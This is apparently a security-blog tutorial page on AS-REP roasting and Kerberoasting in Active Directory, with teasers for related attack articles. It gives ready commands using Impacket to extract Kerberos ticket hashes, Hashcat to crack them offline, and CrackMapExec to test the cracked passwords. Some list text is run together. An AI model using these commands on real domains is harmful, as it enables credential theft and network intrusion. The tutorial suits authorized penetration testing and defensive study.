A practical, step-by-step tutorial on identifying, requesting, extracting, and cracking offline password hashes for vulnerable Active Directory Kerberos service accounts.
Master Active Directory intra-forest trust exploitation. Learn how child domain compromise leads to full parent forest escalation via SID History injection (ExtraSIDs), Kerberos Golden Ticket
25 min read
A hands-on masterclass covering Active Directory Kerberos delegation attacks: Unconstrained, Constrained (S4U2Self/S4U2Proxy), and Resource-Based Constrained Delegation (RBCD) exploitation, I
Basic knowledge of Active Directory, Kerberos authentication, and command-line security tools.
Learn how to identify Kerberoastable & AS-REP roastable accounts, extract Kerberos ticket hashes using Impacket, and crack them offline with Hashcat.
This hands-on tutorial guides security analysts and penetration testers through the complete workflow of discovering and exploiting Kerberos pre-authentication and SPN ticket weaknesses within Active Directory environments.
pip install impacket)rockyou.txt or custom targeted rule dictionaryAS-REP Roasting targets accounts that have the DONT_REQ_PREAUTH flag enabled in Active Directory.
Execute GetNPUsers against the domain controller specifying a target domain and candidate username list:
impacket-GetNPUsers enterprise.local/ -usersfile usernames.txt -no-pass -format hashcat -outputfile asrep_targets.txt -dc-ip 10.10.10.10
Run Hashcat with mode 18200 (Kerberos 5, etype 23, AS-REP):
hashcat -m 18200 -a 0 asrep_targets.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Kerberoasting targets accounts with a Service Principal Name (SPN) set, usually dedicated service accounts.
Using valid domain credentials (even lowest privilege):
impacket-GetUserSPNs enterprise.local/svc_reader:ReadPassword123! -request -dc-ip 10.10.10.10 -outputfile kerberoast_tgs.txt
Run Hashcat with mode 13100 (Kerberos 5, etype 23, TGS-REP):
hashcat -m 13100 -a 0 kerberoast_tgs.txt /usr/share/wordlists/rockyou.txt --force
Once a hash is cracked:
crackmapexec smb 10.10.10.10 -u 'target_svc' -p 'CrackedPassword!'impacket-rpcclient or LDAP search.Server Operators, DNSAdmins), proceed with authorized escalation paths.25 min read
A comprehensive technical breakdown of Active Directory Certificate Services (ADCS) security architecture, analyzing ESC1/ESC8 misconfigurations, PowerShell auditing, enterprise hardening, an
15 min read
Sign in to leave a comment.